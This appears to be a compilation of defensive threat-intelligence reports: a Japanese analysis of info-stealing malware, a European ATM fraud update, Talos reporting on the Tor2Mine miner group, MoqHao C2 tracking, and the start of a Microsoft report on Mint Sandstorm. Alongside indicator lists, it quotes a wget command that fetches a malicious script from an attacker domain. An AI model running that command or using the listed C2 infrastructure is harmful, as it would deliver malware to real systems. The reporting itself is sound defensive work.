情報窃取型マルウェアをダウンロードする通信先は、GoogleドライブやOneDrive、Discordが使われるケースを確認しています。このように正規サービスを悪用することは、検知や遮断を回避する狙いがあるものとみられ、攻撃者たちの手口は巧妙化していることが窺えます。
なお、JSOCによる検知としては明確に確認できなかったものの、海外のサンドボックスサービスにおいてGuLoaderの代わりにModiLoaderと呼ばれるダウンローダが使用されるケースがあることを確認しています。脅威分析チームの調査では、ModiLoaderの観測数はGuLoaderと比べると少なく、現在はGuLoaderが主流であるものと考えられます。
## 情報窃取型マルウェアの種類
情報窃取型マルウェアにはさまざまな種類があります。ここではJSOCの検知において多く確認している情報窃取型マルウェアである、AgentTesla、FormBook/XLoader、LokiBotの特徴について解説します。これらのマルウェアは、ハッキングフォーラムなどで安価で販売、または、無料でビルダー等をダウンロードできるため攻撃に使用されやすい傾向があります。
### AgentTesla
AgentTeslaは、2014年に発見された情報窃取を主目的とするマルウェアです。このマルウェアに感染すると、Webブラウザやメールクライアント、FTPクライアントなどの認証情報、クリップボードやスクリーンショット、キーストロークなどの情報が攻撃者に窃取される可能性があります。ただし、AgentTeslaは、一般的なRATにあるような高度なコマンド&コントロール機能を有していないため、通常は感染PCからサーバへの窃取情報の送信のみを行います。
AgentTeslaの特徴として、通信方式の多様性が挙げられます。AgentTeslaは、HTTPを使用する方法のほかに、SMTPやFTP、Telegramチャット、Torプロキシを使用して感染PC内の情報を攻撃者のもとへ送ることができます。例えば、FTPを使用してファイルをFTPサーバにアップロードしたり、TelegramボットAPIを使用してチャットにデータを送信したりすることが可能です。なお、AgentTeslaがどの通信方式を用いるかはAgentTeslaの設定値によって変わり、一度に複数の通信方式を使用することはありません。このため、通信方式は検体ごとに確認する必要があります。
また、特筆すべき点として、AgentTeslaがv2とv3の2種類に大別できるという点が挙げられます。AgentTeslaはバージョンによって内部データの保持方法や有する機能が異なります。例えば、v2が通信先情報やデータ送信時に使用する文字列をAESで暗号化した状態で保持しているのに対し、v3ではXORで文字列を暗号化した状態で保持しています。また、上述したTelegramやTorプロキシを使用した通信方式はv3でのみ実装されている機能です。
以上の観点から、JSOCにおいて検知したAgentTeslaに関して分析すると、v3の使用が多くみられ、通信方式としてはSMTPが多い傾向にあることがわかりました。その一方で、Telegramなどの他の通信方式が設定されているケースも少なからず存在しており、実際の攻撃においても通信に多様性があるといえます。また、AgentTeslaに関する攻撃メールの検知数は、2021年6月から増加傾向にあり、2022年においても根強く検知している状況です。
最後に、最も使用頻度の多い通信方式であるSMTPについて解説します。通信方式がSMTPの場合は、AgentTesla内の暗号化データに含まれるメールアカウント情報(メールアドレス、パスワード、SMTPサーバのドメイン名)を用いて、窃取した情報をメールで送信します。
### FormBook/XLoader
FormBookは、2016年に発見された情報窃取を主目的とするマルウェアです。このマルウェアは、Webブラウザやメールクライアント、FTPクライアントの認証情報をはじめ、クリップボード情報やキーストロークの窃取、画面キャプチャ、コマンド&コントロールの機能を備えています。そのため、感染すると機微な情報が窃取されたり、攻撃者によってPCをリモートコントロールされたりします。
2016年から蔓延するFormBookですが、2020年になって後継のマルウェアと考えられる「XLoader」が登場しました。XLoaderは、フォーラム上で販売の宣伝が行われ、既に日本組織への攻撃に使用されています。機能面でみれば、コードはFormBookと類似しており、大きな相違はみられません。その一方で、C2通信時に使用する特徴的な文字列やバージョン体系などが異なるという特徴があります。また、XLoaderはクロスプラットフォームへのサポートを謳っており、macOSでの動作を可能とする種別が存在します。
FormBookとXLoaderは、いずれも通信をHTTPで行い、GETメソッドとPOSTメソッドを使用します。通常は、最初の通信にGETメソッド、窃取データの送信にPOSTメソッドを用います。送信されるデータはBase64エンコードとRC4によって暗号化されており、鍵の一部がマルウェア内に保持されています。なお、通信時は、どちらのマルウェアも偽の通信先を複数ハードコードしているため、C2サーバではない通信先への通信が発生します。このためC2通信先が一見分かりづらく、通信先の遮断には注意が必要です。
上述の通り、FormBookもXLoaderもコマンド&コントロールの機能を有しています。これにより、通信を行うことでC2サーバからコマンドを受け取るという動作が可能です。マルウェアがサーバから受け取るコマンドを示します。これらのコマンドは、サーバからの「200 OK」のレスポンスにおいてボディに記載されて受け渡されます。C2コマンドの機能として、コマンド実行やダウンロード&実行の動作が可能なことから、情報窃取以外の目的で使われる可能性も考えられます。
JSOCにおける最近の検知傾向としては、FormBookとXLoader共に日本国内の組織にも届いている状況でFormBookの勢いも未だに落ちていません。国内の攻撃で用いられた検体は、FormBookに関してはバージョン4.1、XLoaderに関しては2021年9月中旬まで2.3が利用され、それ以降は2.5系が利用されている傾向にあります。なお、macOS版のXLoaderは、JSOCでの検知はありませんでした。
### LokiBot
LokiBotは、2015年に発見された情報窃取を主目的とするマルウェアです。他の情報窃取型マルウェアと同様に、各種アプリケーションの認証情報の窃取機能や画面キャプチャ機能、キーロガー機能、コマンド&コントロール機能を有すとされており、感染した場合は機微な情報の窃取や感染PCが攻撃者にリモートコントロールされる可能性があります。また、他の情報窃取型マルウェアと比べると窃取対象とするアプリケーションが多いという特徴もあります。
LokiBotのC2通信はHTTPを使用します。通信の特徴として、パスに「fre.php」を使用することや、User-Agentに「Mozilla/4.08 (Charon; Inferno)」を使用することなどが挙げられ、比較的識別しやすいマルウェアといえます。また、多くの場合はHTTPボディのデータに「ckav[.]ru」が含まれていることも特徴のひとつです。
LokiBotが発生させるリクエストには、窃取データの送信とC2コマンド要求の2種類があり、C2コマンド要求の通信はデフォルト設定では10分ごとに発生します。このときC2サーバからの受け取る命令は、いくつかのコマンドがあります。
興味深いことに、世界的に流通するLokiBotの多くはクラック版であり、日本においてもこの傾向は変わりません。JSOCで検知した日本組織に届いたLokiBotも多くがクラック版でした。クラック版とは、開発者らが販売する元のLokiBotを改変したバイナリのことです。クラック版を用いることで、LokiBotの販売者らに支払う利用料金を支払わずに済むことから攻撃者によって多用されているものと考えられます。
クラック版LokiBotは、フォーラムで出回っているビルダーを用いると任意のC2通信先を指定したものが簡単に生成できます。さらに、C2パネルのソースコードも流出しているため、クラック版でも攻撃を容易に行うことができてしまうのが実情です。
## 被害に遭わないための対策
攻撃の被害に遭うことがないよう、以下のようなセキュリティ対策が実施できているか今一度ご確認いただくことを推奨します。
- Windows OSやOffice製品、Webブラウザなどの各ソフトウェアを常に最新の状態にする
- ウイルス対策ソフトを導入し、パターンファイルを常に最新の状態に更新する
- EDR製品を導入し、感染の検知・防御だけでなく、万が一の際の迅速な対応を可能にする
- 身に覚えのないメールの添付ファイルは開かない。メール本文中のURLリンクはクリックしない
- マクロやセキュリティに関する警告が表示された場合、安易に「マクロを有効にする」「コンテンツの有効化」というボタンはクリックしない
## ラックが提供するサービス
情報窃取型マルウェアに対する有効なサービスと、調査時に役立つツールの一部をご紹介します。
### マネージドEDRサービス
引き続き、新型コロナウイルスの影響で、テレワークが拡大している背景からも、PCのセキュリティ対策の重要性が増しています。マネージドサービスを提供しているEDR製品(CrowdStrike Falcon/Microsoft Defender ATP)は、PC内の様々な動作痕跡を元に、未知の脅威を「検知」「初期対応」「調査」「復旧」することを可能にする新しいセキュリティソリューションです。
AgentTeslaなどの情報窃取型マルウェアにおいても検知、防御が可能であることを確認しており、EDRの導入は有効な対策のひとつとなります。さらにEDRは、感染の検知・防御だけでなく、万が一の際の迅速な一次対処や原因調査を可能にするため、今回紹介した一般的なマルウェアへの対策だけではなく、高度な標的型攻撃への対策としても有効です。
### 情報漏えいチェックサービス
今回紹介した情報窃取型マルウェアなどが、自組織のネットワーク内のPCに感染していないかを調査できるのが情報漏えいチェックサービスです。このサービスでは、お客様のネットワーク環境におけるインターネットの出口にトラフィック収集機器を設置して収集したデータや、プロキシサーバのログを、専任のアナリストが情報漏えいの観点で解析します。ラックの独自の知見をもとに調査を行うため、情報窃取型マルウェアやバンキングマルウェアだけでなく、標的型攻撃による不審な通信についても発見・報告した実績がこれまでに多数あります。自組織内のPCにマルウェアの感染がないかを第三者の視点から定期的にチェックするといった「健康診断」としてのご活用をぜひご検討ください。
### 無料調査ツール「FalconNest」
ラックが無料で提供しているツール「FalconNest」は、不審なファイルを調査する際に役立ちます。メールに添付されているファイルがマルウェアか否かを確認したい場合、「マルウェア自動分析機能(Malware Analyzer)」にて調査することができます。また、解析したいファイルをアップロードする際に、「コードインテリジェンス分析を使用する」にチェックを入れることにより、Intezer Analyzeの機能によって、どのマルウェアファミリーに属しているのか分析できます。
## まとめ
今回はJSOCの検知傾向に基づいて数種類の情報窃取型マルウェアを解説しましたが、紹介したもの以外にもたくさんの種類があります。XLoaderやSnake Keyloggerなど、比較的新たな情報窃取型マルウェアも登場しており、情報窃取型マルウェアの情勢も変化しつつあります。そのため、これらのマルウェアが既存の製品によって簡単に検知すると油断せず、多層的に対策を行うことが重要です。
脅威分析チームは、今後もマルウェアや攻撃キャンペーンについて継続的に調査し、広く情報を提供していきたいと考えていますので、その情報をご活用いただければ幸いです。 |
# EAST Publishes European Fraud Update 2-2018
EAST has published its second European Fraud Update for 2018. This is based on country crime updates given by representatives of 18 countries in the Single Euro Payments Area (SEPA), and 3 non-SEPA countries, at the 45th EAST meeting held in The Hague on 6th June 2018.
Payment fraud issues were reported by fifteen countries. Seven countries reported card-not-present (CNP) as a key fraud driver. Two countries reported attempted ‘Forced Post’ fraud, possible when some point of sale (POS) terminals allow the ‘force sale’ functionality. One country reported a new form of malware on android mobile phones, distributed with a fake application uploaded from third-party android stores. Another country reported cases of SIM swap fraud, where fraudsters authorise a bank transfer by switching the customer’s mobile phone number over to a new SIM and intercept the authorisation message. To date in 2018 the EAST Payments Task Force (EPTF) has published five Payment Alerts covering phishing, malware on mobile phones, fraudulent mobile Apps and CNP fraud.
ATM malware and logical security attacks were reported by nine countries. Five of the countries reported ATM related malware. In addition to Cutlet Maker (used for ATM cash-out), a new variant called WinPot has been reported – this is used to check how many banknotes are in an ATM. Six countries reported the usage (or attempted usage) of ‘black-box’ devices to allow the unauthorised dispensing of cash. To date in 2018 the EAST Expert Group on All Terminal Fraud (EGAF) has published seven related Fraud Alerts. To help counter these threats, Europol, supported by EAST EGAF, has published a document entitled ‘Guidance and Recommendations regarding Logical attacks on ATMs’. It covers mitigating the risk, setting up lines of defence and identifying and responding to logical attacks. This is available in four languages: English, German, Italian and Spanish.
Card skimming at ATMs was reported by fourteen countries. For the first time, one country reported the arrest of a Chinese national in connection with such attacks. The usage of M3 – Card Reader Internal Skimming devices remains most prevalent. This type of device is placed at various locations inside the motorised card reader behind the shutter. Six countries reported such attacks. One country reported the use of M2 – Throat Inlay Skimming Devices. Skimming attacks on other terminal types were reported by five countries, four of which reported such attacks on unattended payment terminals (UPTs) at petrol stations. To date in 2018 EAST EGAF has published ten related Fraud Alerts.
Year to date, international skimming related losses were reported in 31 countries and territories outside SEPA and in 3 within SEPA. The top three locations where such losses were reported remain Indonesia, the USA and India.
Three countries reported incidents of Transaction Reversal Fraud (TRF), two of which reported new attack variants. To date in 2018 EAST EGAF has published four related Fraud Alerts.
Ram raids and ATM burglary were reported by eight countries. Six countries reported explosive gas attacks, one of which reported such attacks against ATS machines for the first time. Another reported that explosive gas attacks against ATMs have started for the first time. Five countries reported solid explosive attacks. The spread of such attacks is of great concern to the industry due to the risk to life and to the significant amount of collateral damage to equipment and buildings. To date in 2018 the EAST Expert Group on ATM & ATS Physical Attacks (EGAP) has published five related Physical Attack Alerts.
The full Fraud Update is available to EAST Members (National and Associate). |
# Tor2Mine is Up to Their Old Tricks — and Adds a Few New Ones
**By Kendall McKay and Joe Marshall**
## Threat Summary
Cisco Talos has identified a resurgence of activity by Tor2Mine, a cryptocurrency mining group that was likely last active in 2018. Tor2Mine is deploying additional malware to harvest credentials and steal more money, including AZORult, an information-stealing malware; the remote access tool Remcos; the DarkVNC backdoor trojan; and a clipboard cryptocurrency stealer. The actors are also using a new IP address and two new domains to carry out their operations. The addition of new tactics, techniques, and procedures (TTPs) suggests Tor2Mine is seeking ways to diversify their revenue in a volatile cryptocurrency market.
## What’s New?
Tor2Mine has traditionally been a cryptocurrency mining malware actor notorious for infecting victims with cryptominers that steal system resources to mine currency. In a new development, the Tor2Mine actors have incorporated additional malware into their operations, likely as a way to diversify revenue streams and stay relevant in a COVID-19 world where cryptocurrencies are fluctuating wildly.
## So What?
Between January and June 2020, Cisco Talos observed resurgent activity from Tor2Mine, a profit-driven actor that remains active despite a global economic recession and volatile cryptocurrency market. To address these challenges, Tor2Mine has begun using additional malware to harvest victims’ credentials and steal more money. The addition of new TTPs, as well as the use of new infrastructure, highlights Tor2Mine’s resilience in a challenging threat environment. These developments also underscore threat actors’ persistence more broadly and should serve as a reminder that organizations must maintain heightened security at all times.
What makes the Tor2Mine group notable is their use of Tor2web for command and control (C2) for their malware infections. The Tor2web services act as a bridge between the internet and the Tor network, a system that allows users to enable anonymous communication. These services are useful for malware authors because they eliminate the need for malware to communicate with the Tor network directly, which is suspicious and may be blocked, and allow the C2 server's IP address to be hidden.
## Analysis
Talos recently identified activity in our endpoint telemetry associated with Tor2Mine affecting at least six different companies. The activity has been ongoing since January 2020, resurfacing after a likely year-long hiatus since we first identified the threat actor in December 2018. While much of the infrastructure remains the same, we identified a new IP and two domains that we assess are currently being leveraged by Tor2Mine. During the course of our research, we also discovered evidence suggesting that the Tor2Mine actors are deploying additional malware in tandem with XMRig during their operations to harvest credentials and steal more money. The new malware includes AZORult, an information-stealing malware; the remote access tool Remcos; the DarkVNC backdoor trojan; and a clipboard cryptocurrency stealer.
### Tor2Mine Resurfaces
In much of this recent activity, the actors use previously identified infrastructure to carry out their operations. In one cluster of activity against a telecommunications company, we observed the attacker executing PowerShell commands to download files from multiple Tor2Mine-related domains. The attacker attempts to run Microsoft HTML Applications (HTA) from multiple URLs using Mshta, a utility for executing HTA files:
- hxxps://qm7gmtaagejolddt.onion.to/check.hta
- hxxp://res1.myrms.pw/upd.hta
- hxxp://eu1.minerpool.pw/check.hta
The qm7gmtaagejolddt.onion domain is a known Tor2web gateway used by Tor2Mine actors to proxy communications. According to our previously mentioned blog, the actors have been using this domain since at least 2018. The res1.myrms.pw domain also appears to have connections to Tor2Mine, as it is hosted on an IP address (107.181.187.132) previously known to be used by Tor2Mine actors. In the activity outlined in our 2018 blog, Tor2Mine actors used a PowerShell script to install follow-on malware onto the compromised system from this same IP. The eu1.minerpool.pw, also hosted on 107.181.187.132, is the same mining pool the actors used in the 2018 activity.
The actor also used a PowerShell command to download a .ps1 file from hxxp://v1.fym5gserobhh.pw/v1/check1.ps1. The v1.fym5gserobhh.pw domain is hosted on the same aforementioned IP. According to Umbrella data, v1.fym5gserobhh.pw and eu1.minerpool.pw are registered under two different reg.ru nameservers (ns2.reg.ru and ns1.reg.ru).
### New Infrastructure Identified
While we identified many of the same domains and IP addresses being used from 2018 in this more recent activity, we also identified several new indicators of compromise (IOCs) that were not previously associated with Tor2Mine. In similar activity related to another company in mid-May, we saw the actors using Mshta to execute HTA files from many of the same URLs mentioned above. However, we also observed a new domain, eu1.ax33y1mph.pw, in activity affecting an environmental consulting company between April and May 2020. The domain is hosted on the same 107.181.187.132 IP address and was first seen in March 2020, according to Umbrella, suggesting this is a relatively new component of the attacker’s infrastructure.
As our research progressed, we continued to identify related threat activity against several more companies involving the use of new Tor2Mine infrastructure. We identified a new IP, 185.10.68.147, hosting at least two domains, asq.r77vh0.pw and asq.d6shiiwz.pw, that we assess are part of Tor2Mine’s infrastructure. The asq.r77vh0.pw domain is registered under the same two previously mentioned reg.ru providers. It first appeared in our endpoint telemetry for two days in July 2019 but did not reappear until late February 2020. This domain was previously hosted on 107.181.160.197, an IP used by Tor2Mine actors, according to our 2018 blog.
The asq.r77vh0.pw domain also has at least one referring file (67f5f339c71c9c887dfece5cb6e2ab698b8c8a575d1ab9dd37ac32232be1aa04) that reaches out to both the older 107.181.160.197 IP and the newly identified 185.10.68.147 IP, bolstering the notion that 185.10.68.147 is an extension of Tor2Mine’s infrastructure.
The asq.d6shiiwz.pw domain is also registered under the same two reg.ru hosting providers. According to VirusTotal, this domain has hosted several URLs that are lexically similar to previously identified Tor2Mine URLs, such as those ending in “.hta” and “checking.ps1”. Two such examples are hxxp://asq.d6shiiwz.pw/win/hssl/d6.hta and hxxps://asq.d6shiiwz.pw/win/checking.ps1. Both domains were also previously hosted on the same IP address, 195.123.234.33, which also hosts malicious payloads associated with XMRig.
We first observed these domains being hosted on 185.10.68.147 on March 15, 2020, according to Umbrella, and they remain associated as of this writing. This IP also hosts fh.fhcwk4q.xyz, a domain associated with XMRigCC, a variant of XMRig leveraged by many different threat actors. In addition to these domains, we also found several URLs hosted on 185.10.68.147 in VirusTotal that are structurally similar to many of the aforementioned Tor2Mine URLs, such as hxxp://185.10.68.147/win/update.hta and hxxp://185.10.68.147/win/del.ps1. As previously noted, Tor2Mine actors were observed using PowerShell commands to download .ps1 files and Mshta to execute .hta files.
The IP also has a communicating Shell script file (4d21cab49f7d7dd7d39df72b244a249277c37b5561e74420dfc96fb22c8febac). The content of this file includes a string with a wget request to hxxp://asq.r77vh0.pw/lin/update.sh. From there, we identified a file (daa768e8d66aa224491000e891f1ef2cb7c674df2f3097fef7db90d692e2f539) in VirusTotal whose content shows an identical wget request (“wget --user-agent "linux" -q -O - hxxp://asq.r77vh0.pw/lin/update.sh”). This file reaches out to the aforementioned 195.123.234.33, an XMRigCC IP that previously hosted the newly identified domains, according to VirusTotal and Umbrella, respectively.
Using the same approach, we identified several other files that also had this string in their contents. One such file, 3c2d83b9e9b1b107c3db1185229865b658bbaebc8020c1b2a4f9155ca87858fc, has embedded URLs that are hosted on 107.181.187.132 (e.g., hxxp://107.181.160.197/lin/32/xmrig), which we previously mentioned is a known Tor2Mine IP. These connections to the older Tor2Mine infrastructure further suggest that 185.10.68.147 is a new IP used by the same actors.
## New Malware Added to the Mix
During the course of our research, we discovered evidence suggesting that the Tor2Mine actors are deploying AZORult and other malware in tandem with XMRig during their operations to harvest credentials and steal more money. Our previous research from April 2020 outlined a complex campaign with several different executable payloads focused on obtaining money for the attackers. The campaign included the use of a variant of AZORult, an information-stealing malware; as well as the RAT Remcos; the DarkVNC backdoor trojan; and a clipboard cryptocurrency stealer. Much of the infrastructure mentioned in the April blog overlaps with many of the new Tor2Mine IOCs we identified. According to the blog, there were several domains referenced in the configuration for an XMRigCC payload during these campaigns, including eu.minerpool.pw and rs.fym5gserobhh.pw, both lexically similar to the eu1.minerpool.pw and v1.fym5gserobhh.pw domains we discovered in our recent research. The configuration also mentioned 185.10.68.220, our newly identified Tor2Mine IP.
In addition to these similarities, the April blog also mentions the AZORult actors downloading XMRig from 195.123.234.33, which previously hosted the two newly identified Tor2Mine domains, asq.r77vh0.pw and asq.d6shiiwz.pw. Furthermore, these two domains were also used by the actors outlined in the April blog. The URLs associated with these domains are structurally similar to many of the URLs we observed during the course of our recent Tor2Mine discoveries, including hxxps://asq.r77vh0.pw/win/checking.ps1 and hxxps://asq.d6shiiwz.pw/win/hssl/d6.hta.
The likely addition of AZORult and additional malware to Tor2Mine’s tactics, techniques, and procedures (TTPs) shows that the actors remain active and continue to look for ways to update their capabilities to increase their monetary gain. Notably, the Tor2Mine activity from this year is consistent with a general uptick in cryptocurrency miners observed by Talos over the last several months, including a resurgence in PowerGhost and MyKings.
## The Big Picture
Many bad actors, like Tor2Mine, who distribute malware for profit often have operational challenges that are similar to many legitimate global enterprises, such as product creation, distribution, overhead, infrastructure, supply chain, and resilient revenue streams. As we have seen in the Tor2Mine activity, financially motivated cyber threat actors will continue to reinvent themselves and find new methods of generating revenue, as their survival depends on it. If cryptominers cease to be profitable enough for the operators, bad actors will probably diversify their attack portfolios to include even more dangerous threats like ransomware. Ultimately, just as organizations have to adapt to a continually changing environment to stay in business, malware distribution groups must also remain agile and respond to new challenges.
## IOCs
### Domains
- v1.fym5gserobhh.pw
- res1.myrms.pw
- eu1.minerpool.pw
- eu1.ax33y1mph.pw
- asq.r77vh0.pw
- asq.d6shiiwz.pw
### IPs
- 107.181.187.132
- 185.10.68.147
- 195.123.234.33
### URLs
- hxxp://v1.fym5gserobhh.pw/php/func.php
- hxxp://v1.fym5gserobhh.pw/v1/check1.ps1
- hxxp://eu1.minerpool.pw/check.hta
- hxxp://eu1.minerpool.pw/upd.hta
- hxxp://eu1.minerpool.pw/rckl/check.hta
- hxxp://res1.myrms.pw/upd.hta
- hxxps://eu1.ax33y1mph.pw/check.hta
- hxxps://qm7gmtaagejolddt.onion.to/check.hta
- hxxps://asq.r77vh0.pw/win/hssl/r7.hta
- hxxps://asq.r77vh0.pw/win/php/func.php
- hxxp://asq.r77vh0.pw/win/checking.hta
- hxxp://asq.d6shiiwz.pw/win/hssl/d6.hta
- hxxps://asq.d6shiiwz.pw/win/checking.ps1
- hxxp://107.181.160.197/lin/32/xmrig
- hxxp://185.10.68.147/win/update.hta
- hxxp://185.10.68.147/win/del.ps1
### File Hashes
- 67f5f339c71c9c887dfece5cb6e2ab698b8c8a575d1ab9dd37ac32232be1aa04
- 4d21cab49f7d7dd7d39df72b244a249277c37b5561e74420dfc96fb22c8febac
- 3c2d83b9e9b1b107c3db1185229865b658bbaebc8020c1b2a4f9155ca87858fc
- daa768e8d66aa224491000e891f1ef2cb7c674df2f3097fef7db90d692e2f539 |
# MoqHao Part 3: Recent Global Targeting Trends
**S2 Research Team**
March 16, 2023
## Introduction
This blog post is part of an ongoing series of analysis on MoqHao (also referred to as Wroba and XLoader), a malware family commonly associated with Roaming Mantis. MoqHao is generally used to target Android users, often via an initial attack vector of phishing SMS messages (smishing). The threat group behind Roaming Mantis is characterized as Chinese-speaking and financially motivated, with the first public acknowledgment dating back to around 2018. The group has historically targeted countries in the Far East – Japan, South Korea, and Taiwan – but they are expanding their campaign.
In our most recent post (MoqHao Part 2: Continued European Expansion), we demonstrated how Roaming Mantis had widened their sights to Western countries, including France, Germany, the United Kingdom, and the United States. In this post, we will explore whether Roaming Mantis has continued to expand their operations over the past year, focusing on their activities in recent months. In doing so, we will highlight some techniques utilized to pivot to connected infrastructure.
## Key Findings
- Identification of 14 MoqHao C2 servers, based on malware analysis and pivots within contextual data sets.
- Evidence of Roaming Mantis campaigns targeting every continent, with Africa, Asia, and Europe being the most impacted.
- Close to 1.5 million victim communications to the MoqHao C2 servers observed since the end of 2022.
- The scope of Roaming Mantis continues to grow; all mobile users should be conscious of smishing threats, particularly from operators who have evolved their campaigns over several years.
## MoqHao Command & Control
As in previous posts, our analysis begins with the identification of infrastructure utilized for post-infection communications, once a malicious APK (MoqHao) has been installed on a victim device. The rationale for this approach is two-fold:
1. The delivery and installation methodology for MoqHao includes the use of ‘disposable’ staging infrastructure which generally utilizes Dynamic DNS services, in addition to legitimate platforms, such as Baidu, Imgur, Pinterest, and VKontakte. Analysis of network telemetry data associated with these phases of an infection is complicated by the presence of security research, scanning, and benign user activity. Furthermore, until beacons to a MoqHao C2 server are observed, it is not wholly accurate to identify any communications as ‘victim’ related.
2. Whilst MoqHao’s delivery infrastructure has a short shelf life, its C2 infrastructure is used for extended periods of time and in some cases even reused after periods of inactivity. By analyzing stable infrastructure, we can draw higher-level conclusions on targeting, i.e., where large groupings of victim connections originate from. In addition, as this infrastructure is more static, by disclosing it we can have the greatest impact on Roaming Mantis operations.
Our initial method of identifying MoqHao C2 infrastructure is based on analysis of malware samples. In this case, we have started with three malware samples identified within our internal malware holdings, which are also available in VirusTotal. MoqHao is detected by several antivirus vendors as ‘Wroba’, querying for this string within malware repositories will generally lead to connected samples.
- **Sample 1:** 37134b50f0c747fb238db633e7a782d9832ae84b
This file was first uploaded on 24 October 2022 by a user in Canada, configured to receive C2 information (91.204.227.31:28877) from a user profile on VKontakte. Examining network telemetry for 91.204.227.31 (HDTIDC - South Korea), we observe a campaign targeting users in Australia, with the most recent victim connections occurring around 29 January 2023. Open Ports information for 91.204.227.31 identifies that TCP/5985 was open during the period when victim connections occurred.
- **Sample 2:** 198b55d4e7c7c0ee4fc4cbe13859533e651b91f6
This file was first uploaded on 20 February 2023 by a user in Canada, configured to receive C2 information (198.144.149.142:28866) from a user profile on VKontakte. Examining network telemetry for 198.144.149.142 (NETMINDERS - Canada), we observe a campaign targeting users globally - in Africa, Asia, Europe, North America, and Oceania, with victim connections still occurring at the time of writing. Open Ports information for 198.144.149.142 identifies an RDP certificate hosted on TCP/3389.
- **Sample 3:** 5ceb8950759a8d9d31389d1370d381d158c79fbe
This file was first uploaded on 25 February 2023 by a user in Japan, configured to receive C2 information (91.204.227.43:29872) from a user profile on VKontakte. Examining network telemetry for 91.204.227.43 (HDTIDC - South Korea), we observe a campaign targeting users in India, with the most recent victim connections occurring around 03 March 2023. Open Ports information for 91.204.227.43 identifies that TCP/5985 was open during the period when victim connections occurred.
## Conclusion
While this analysis is caveated by the fact it is based on sampled data, and that some researcher/scanning activity likely slipped through our net, we were able to identify connections indicative of victims from 67 distinct countries. Approximately 80% of connections were from the East Asian region (primarily Japan), which could be referred to as the ‘traditional’ operating base of Roaming Mantis. However, when you remove those connections from the data, you’re left with a picture of the operators’ efforts to expand globally.
Users from Africa, other regions in Asia, and Europe in particular are increasingly appearing in victim communications to MoqHao infrastructure. Smishing often doesn’t receive the same level of attention as phishing when it comes to malware delivery stakes. But, with over 1 million observed victim connections since the end of 2022 related to Roaming Mantis alone, it is clearly a viable initial access vector. If Roaming Mantis can develop their delivery methods globally, to match the depth and ‘real feel’ spoofing of their East Asian campaigns, we would anticipate that the threat to users will continue to grow over coming months and years.
## Recommendations
- We encourage continued education on mobile device security in general and smishing more specifically, to arm users with the knowledge required to identify and avoid threats.
- Where feasible, connections to the static MoqHao C2 servers listed in the IOC section below should be pre-emptively blocked.
- Users of Pure Signal Recon can track MoqHao campaigns based on the methods described in this blog post.
## IOCs
**MoqHao Samples**
- 198b55d4e7c7c0ee4fc4cbe13859533e651b91f6
- 37134b50f0c747fb238db633e7a782d9832ae84b
- 5ceb8950759a8d9d31389d1370d381d158c79fbe
**MoqHao C2 Servers (With Port Pairings)**
**ACTIVE (14 March 2023)**
- HDTIDC LIMITED - South Korea:
- 91.204.227.32:28877
- 91.204.227.33:28899
- 91.204.227.37:28836
- 91.204.227.37:28856
- 91.204.227.39:28844
- 91.204.227.41:29869
- 91.204.227.42:29871
- 91.204.227.47:28999
- 91.204.227.48:28843
- 91.204.227.49:29870
- NETMINDERS - Canada:
- 198.144.149.131:28866
- 198.144.149.142:28866
**INACTIVE (Date)**
- HDTIDC LIMITED - South Korea:
- 91.204.227.31:28877 (29 January 2023)
- 91.204.227.43:29872 (03 March 2023)
- 91.204.227.51:36599 (26 February 2023)
- NETMINDERS - Canada:
- 198.144.149.131:28867 (05 January 2023)
- 198.144.149.131:28868 (22 February 2023)
- 198.144.149.131:28869 (03 January 2023) |
# Nation-state threat actor Mint Sandstorm refines tradecraft to attack high-value targets
**April 18, 2023**
Over the past several months, Microsoft has observed a mature subgroup of Mint Sandstorm, an Iranian nation-state actor previously tracked as PHOSPHORUS, refining its tactics, techniques, and procedures (TTPs). Specifically, this subset has rapidly weaponized N-day vulnerabilities in common enterprise applications and conducted highly-targeted phishing campaigns to quickly and successfully access environments of interest. This Mint Sandstorm subgroup has also continued to develop and use custom tooling in selected targets, notably organizations in the energy and transportation sectors. Given this subgroup’s capabilities, the profile of past targets, and the potential for cascading effects, Microsoft is publishing details on known tradecraft alongside corresponding detections and mitigations to help organizations protect against this and similar threats.
## Who is Mint Sandstorm?
Mint Sandstorm is Microsoft’s new name for PHOSPHORUS, an Iranian nation-state actor. This new name is part of the new threat actor naming taxonomy we announced today, designed to keep pace with the evolving and growing threat landscape. Mint Sandstorm is known to pursue targets in both the private and public sectors, including political dissidents, activist leaders, the Defense Industrial Base (DIB), journalists, and employees from multiple government agencies, including individuals protesting oppressive regimes in the Middle East. Activity Microsoft tracks as part of the larger Mint Sandstorm group overlaps with public reporting on groups known as APT35, APT42, Charming Kitten, and TA453. Mint Sandstorm is a composite name used to describe several subgroups of activity with ties to the same organizational structure. Microsoft assesses that Mint Sandstorm is associated with an intelligence arm of Iran’s military, the Islamic Revolutionary Guard Corps (IRGC), an assessment that has been corroborated by multiple credible sources including Mandiant, Proofpoint, and SecureWorks. In 2022, the US Department of Treasury sanctioned elements of Mint Sandstorm for past cyberattacks citing sponsorship from the IRGC.
Today, Microsoft is reporting on a distinct Mint Sandstorm subgroup that specializes in hacking into and stealing sensitive information from high-value targets. This Mint Sandstorm subgroup is technically and operationally mature, capable of developing bespoke tooling and quickly weaponizing N-day vulnerabilities, and has demonstrated agility in its operational focus, which appears to align with Iran’s national priorities. Microsoft Threat Intelligence consistently tracks threat actor activity, including Mint Sandstorm and its subgroups, and works across Microsoft Security products and services to build detections into our products that improve protection for customers. As with any observed nation-state actor activity, Microsoft directly notifies customers that have been targeted or compromised, providing them with the information they need to secure their accounts. Microsoft is sharing details on these operations to raise awareness of the risks associated with their activity and to empower organizations to harden their attack surfaces against tradecraft commonly used by this Mint Sandstorm subgroup.
## Recent operations
From late 2021 to mid-2022, this Mint Sandstorm subgroup moved from reconnaissance to direct targeting of US critical infrastructure including seaports, energy companies, transit systems, and a major US utility and gas entity potentially in support of retaliatory destructive cyberattacks. This targeting was likely in response to Iran’s attribution of cyberattacks that halted maritime traffic at a major Iranian seaport in May 2020, delayed Iranian trains in July 2021, and crashed gas station payment systems throughout Iran in late 2021. Of note, a senior cybersecurity-focused IRGC official and others close to the Iranian Supreme Leader pinned the attack affecting gas station payment systems on Israel and the United States. This targeting also coincided with a broader increase in the pace and the scope of cyberattacks attributed to Iranian threat actors, including another Mint Sandstorm subgroup, that Microsoft observed beginning in September 2021. The increased aggression of Iranian threat actors appeared to correlate with other moves by the Iranian regime under a new national security apparatus, suggesting such groups are less bounded in their operations. Given the hardline consensus among policymakers in Tehran and sanctions previously levied on Iran’s security organizations, Mint Sandstorm subgroups may be less constrained in 